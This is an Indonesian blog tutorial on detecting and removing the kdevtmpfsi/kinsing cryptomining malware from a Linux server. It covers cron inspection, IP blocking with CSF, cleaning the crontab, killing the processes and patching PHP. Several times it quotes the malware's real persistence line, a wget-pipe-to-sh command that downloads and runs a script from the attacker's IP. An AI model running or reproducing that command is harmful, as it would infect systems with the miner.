Cara Mengatasi Malware kdevtmpfsi (kinsing)
- Cara Mengatasi Malware kdevtmpfsi (kinsing) - Januari 11, 2022
Pengantar
Malware, adalah sebuah software yang berjalan pada sistem kamu secara ilegal dan menyebabkan dampak buruk terhadap kinerja sistem kamu.
Kinsing, adalah sebuah malware yang dibuat dari bahasa golang untuk menjalankan mining cryptocurrency dan mencoba menyebarkan dirinya ke host lain di lingkungan korban.
Ciri-Ciri
Ketika vps / server di cek TOP , ada proses mencurigakan seperti ini /tmp/kdevtmpfsi
Penanganan
Langkah 1, Lakukan pengecekan detail service malware
Untuk lebih amannya, kamu lakukan juga pengecekan service yang dijalankan oleh malware dengan cara ini:
root@root:/# systemctl status 18447 ● cron.service - Regular background program processing daemon Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled) Active: active (running) since Wed 2021-03-24 18:47:45 UTC; 2h 38min ago Docs: man:cron(8) Main PID: 142 (cron) Tasks: 16 (limit: 4915) CGroup: /system.slice/cron.service ├─ 142 /usr/sbin/cron -f ├─ 2398 /tmp/kinsing └─17398 /tmp/kdevtmpfsi Mar 24 18:34:01 root.domain.xyz CRON[16761]: pam_unix(cron:session): session closed for user www-data Mar 24 18:35:01 root.domain.xyz CRON[16771]: pam_unix(cron:session): session opened for user www-data by (uid=0) Mar 24 18:35:01 root.domain.xyz CRON[16772]: (www-data) CMD (wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1) Mar 24 18:35:02 root.domain.xyz CRON[16771]: pam_unix(cron:session): session closed for user www-data
Dari log di atas, bisa diambil informasi sebagai berikut:
Yang melakukan inisiasi proses malware berasal dari cron.
Malware dijalankan dari user www-data
Langkah 2, Lakukan pemblokiran IP yang digunakan oleh malware
Cari terlebih dahulu IP tujuan malware dengan menggunakan command ini:
root@root:/# lsof -p [PID]
Untuk melihat PID bisa menggunakan command :
root@root:/# top
Pastikan kamu sudah install CSF pada server kamu. Jika belum ikuti panduan ini Cara Install CSF
Lakukan pemblokiran IP dengan command ini:
root@root:/# csf -d [IP]
Lakukan validasi apakah IP (misal ip yang akan di blok adalah: 195.3.146.118) yang sudah diblok sudah tidak bisa diakses dari server kamu dengan cara ini:
root@root:~# ping 195.3.146.118 PING 195.3.146.118 (195.3.146.118) 56(84) bytes of data. From 103.157.96.33 icmp_seq=1 Destination Port Unreachable ping: sendmsg: Operation not permitted From 103.157.96.33 icmp_seq=2 Destination Port Unreachable ping: sendmsg: Operation not permitted ^C --- 195.3.146.118 ping statistics --- 2 packets transmitted, 0 received, +2 errors, 100% packet loss, time 999ms
Langkah 3, Penghapusan malware
Jika dilihat dari log detail service, cron tersebut dijalankan oleh user www-data. Sekarang kita cek terlebih dahulu apakah cron tersebut memang ada dengan cara:
root@root:~# su -c "crontab -e" www-data -s /bin/bash
Coba cek hasil dari perintah di atas, apakah ada baris line seperti dibawah ini:
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Jika menemukan pattern yang mirip seperti diatas dan mencurigakan, maka berikan tanda “#” didepan baris tersebut agar cron tersebut tidak berjalan.
# * * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Setelah itu lakukan restart cron dengan perintah dibawah ini:
systemctl restart cron
Langkah 4, Validasi malware tidak berjalan kembali
Sampai dengan tahap ini, malware tidak akan bisa menyembuhkan diri ketika proses di kill. Cara memastikannya adalah dengan perintah ini: root@root:/# ps -aux | grep kdevtmpfsi www-data 17398 104 76.1 2661856 2395592 ? Ssl 21:21 8:38 /tmp/kdevtmpfsi root 17561 0.0 0.0 11452 724 pts/1 S+ 21:29 0:00 grep --color=auto kdevtmpfsi
root@root:/# ps -aux | grep kinsing www-data 2398 0.0 0.5 718472 17152 ? Sl 19:01 0:01 /tmp/kinsing root 17563 0.0 0.0 11452 724 pts/1 S+ 21:29 0:00 grep --color=auto kinsing
Jika menemukan proses masih berjalan, maka kill / matikan proses tersebut dengan perintah ini:
root@root:/# kill -9 17398 2398
Setelah proses kill service dilakukan, maka tunggu kurang lebih 1 menit dan pastikan kembali bahwa proses tidak muncul kembali.
root@root:/# ps -aux | grep kdevtmpfsi root 17561 0.0 0.0 11452 724 pts/1 S+ 21:29 0:00 grep --color=auto kdevtmpfsi
root@root:/# ps -aux | grep kinsing root 17563 0.0 0.0 11452 724 pts/1 S+ 21:29 0:00 grep --color=auto kinsing
root@root:/# top
Langkah 5, Kemungkinan penyebab
Salah satu penyebabnya adalah ada celah exploit di php-fpm.
Solusi permanennya adalah dengan melakukan upgrade versi php ke latest stable (per artikel ini ditulis versi terbarunya adalah 7.4.16)
Penutup
Gimana sob, semoga bisa membantu masalah kamu. Pada case ini yang menjadi penyebab utama adalah celah pada salah satu software. Maka dari itu kamu harus memastikan sistem kamu selalu update dan terbackup.